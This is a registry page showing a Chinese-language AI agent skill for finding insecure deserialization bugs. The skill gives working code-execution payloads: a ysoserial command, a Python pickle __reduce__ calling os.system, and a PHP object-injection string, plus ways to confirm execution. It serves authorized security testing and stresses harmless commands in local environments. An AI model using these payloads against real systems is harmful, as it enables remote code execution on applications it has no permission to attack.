deserialization
Skill953 starsChanged 2 months agoApache-2.0View on GitHub
不安全的反序列化发生在 Web 应用将不可信数据直接反序列化为对象时,攻击者可构造恶意序列化数据执行任意代码。 常见成因: - Java:ObjectInputStream.readObject() 未校验 - Python:pickle.loads() / yaml.load() 未使用安全模式 - PHP:unserialize() 未过滤 - .NET:BinaryFormatter.Deserialize() 未限制类型 Java(CommonsCollections): Python(pickle): 判断依据: - 响应包含 uid= → 命令被执行 - 文件创建成功(/tmp/pwned)→ 代码被执行 - 应用崩溃/异常 → 可能存在漏洞
5 other projects use a version of this.
Adopted by
Most recently taken up by
- mahumadad/quarrytheir own version, first seen Nov 8, 2026
- ferr079/claude-code-cybersec-skillstheir own version, first seen Oct 12, 2026
- lichtblick-suite/lichtblicktheir own version, first seen Oct 8, 2026
- emre-guler/websectheir own version, first seen Aug 27, 2026
- langbyyi/websec-skillstheir own version, first seen Jun 12, 2026
Other versions5 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 5
- lichtblick-suite/lichtblick★ 1.2ksame name
- langbyyi/websec-skills★ 4same name
- emre-guler/websec★ 2same name
- mahumadad/quarry★ 1same name
- ferr079/claude-code-cybersec-skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository13 other files it gives its agents.
- command-injectionSkill
- csrfSkill
- file-inclusionSkill
- file-uploadSkill
- info-disclosureSkill
- open-redirectSkill
- path-traversalSkill
- sqliSkill
- ssrfSkill
- sstiSkill
- webpack-js-analysisSkill
- xssSkill
- xxeSkill
The file
Files
不安全的反序列化漏洞检测技能
原理
不安全的反序列化发生在 Web 应用将不可信数据直接反序列化为对象时,攻击者可构造恶意序列化数据执行任意代码。
常见成因:
- Java:
ObjectInputStream.readObject()未校验 - Python:
pickle.loads()/yaml.load()未使用安全模式 - PHP:
unserialize()未过滤 - .NET:
BinaryFormatter.Deserialize()未限制类型
检测方法
1. 定位反序列化点
- Cookie/Session 存储
- API 参数(Base64 编码对象)
- 消息队列(RabbitMQ/Kafka)
- 缓存系统(Redis/Memcached)
2. 构造恶意 Payload
Java(CommonsCollections):
# 使用 ysoserial 生成 Payload
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" | base64Python(pickle):
import pickle
import base64
import os
class Evil:
def __reduce__(self):
return (os.system, ("whoami",))
payload = base64.b64encode(pickle.dumps(Evil()))PHP(对象注入):
O:4:"Evil":1:{s:3:"cmd";s:6:"whoami";}3. 验证代码执行
判断依据:
- 响应包含
uid=→ 命令被执行 - 文件创建成功(
/tmp/pwned)→ 代码被执行 - 应用崩溃/异常 → 可能存在漏洞
工具
| 工具 | 用途 |
| ysoserial | Java 反序列化 Payload 生成 |
| pickle | Python 反序列化测试 |
| Burp Suite | 抓包修改序列化数据 |
输出格式
{
"finding_id": "deserialization-001",
"issue_type": "deserialization",
"severity": "critical",
"endpoint": "/api/import",
"parameter": "data",
"payload": "rO0ABXNy...",
"evidence": "whoami 命令执行,响应包含 uid=33",
"remediation": "使用白名单反序列化(Jackson @JsonTypeInfo),禁用危险类"
}注意事项
- 只读原则:仅检测,不执行危险操作(如删除文件)
- 无害 Payload:使用
whoami/id验证 - 零触网:测试用 mock 或本地环境
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

